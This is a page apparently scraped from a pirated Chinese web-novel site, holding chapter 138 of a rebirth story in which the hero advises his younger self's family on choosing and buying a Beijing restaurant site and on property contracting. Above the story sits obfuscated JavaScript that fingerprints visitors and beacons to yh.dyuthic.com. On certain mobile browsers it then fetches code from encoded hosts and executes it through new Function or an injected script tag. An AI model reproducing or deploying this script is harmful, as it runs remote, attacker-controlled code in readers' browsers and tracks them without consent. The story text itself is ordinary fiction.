第138章 放手去搏(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
【然后根据自己的需求,来选择开店的地址】
【记住,开店最重要的因素,就是选址】
【如果找到合适的地址,觉得合适,那就直接买下来】
这一世开出来的京城饭店盲盒,让周平安很开心。
但要说满意,那肯定不至于。
首先这家店的选址,在周平安看来,简直就是灾难。
开在快到北五环的小巷子里,虽然这附近互联网大厂很多。
但这地方,还是相当有局限性的。
这段时间他白天都泡在饭店里,虽然生意火爆,但优缺点也相当明显。
工作日的时候,就是每天中午都会爆满,中午和下午就是最忙的时候。
可到了晚上,就人烟稀少了。
主要就是因为工作日白天上班的人多,所以吃饭的人也多。
而到了晚上,附近大厂的人都下班回家了,所以吃饭的人就少,生意自然也不好。
而到了周末,又刚好反了过来。
白天人少,晚上人多……
而周末来店里吃饭的,基本都是附近的居民。
所以从翻台率上而言,这饭店有着很大的不足。m.ahf.m
而且这店虽然占地面积虽然大,但随之而来的房贷,水电,人员等多方面的开支也不小。
所以如果父母要是在去京城开店,周平安宁可他们开一家面积不大,但地脚更好的店。
而且最好直接就买下来,因为那个时候,京城商铺的价格还并不贵,
单价每平米并没有破万,所以那时候买就最合适。
虽然周平安也知道,买商铺远没有买商品房划算。
但考虑到如果租房开店,你总要面临房东涨价的问题。
那还不如索性就买下一间店铺来,毕竟当年京城门市房的价格也不贵。
【还有,如果你老爸要是想从事地产工程方面的生意,也不是不可以】
【但一定要注意控制节奏,不要盲目扩张】
【尤其是为了抢项目,就随便答应承包商的条件】
【比如垫资进场,或者让对方随意拖延付款】
【一定要劝他懂得及时止损,有些项目宁可不赚钱也不能碰】
原本周平安是不太希望老爸去当个包工头的。
可后来一想,他几次改写命运。
家里最后好像都绕不开开酒店这个宿命。
而且又想到,小老弟所处那个时间点,往后几年。
国内就进入了一个地产大潮汹涌澎湃的时代。
与其在旁边袖手旁观,不如放手让老爸去搏。
这几次改写重生,他也算看出来了。
老爸天生就是个胆子大,不安分的人,以前是没机会。
现在既然有机会了,那就不如索性尽管任由他折腾。
就算失败了,自己也能帮他及时纠正,擦屁股……
虽然风险是大了点,可万一要做成了呢?
就比如这次他家的酒店,虽然是因为酒店,欠了不少钱。
可也正因为这家酒店,也让他有了敢随便辞职的底气!
所以他才提醒小老弟要时刻关注家里地产项目的进展,切不可盲目扩张冒进。
原本他很想,提醒小老弟一句,要他提醒老爸小心一个叫陈建安的家伙。
可考虑再三,他还是没有这样写。
毕竟那会儿的老爸,根本都不认识陈建安是哪根葱!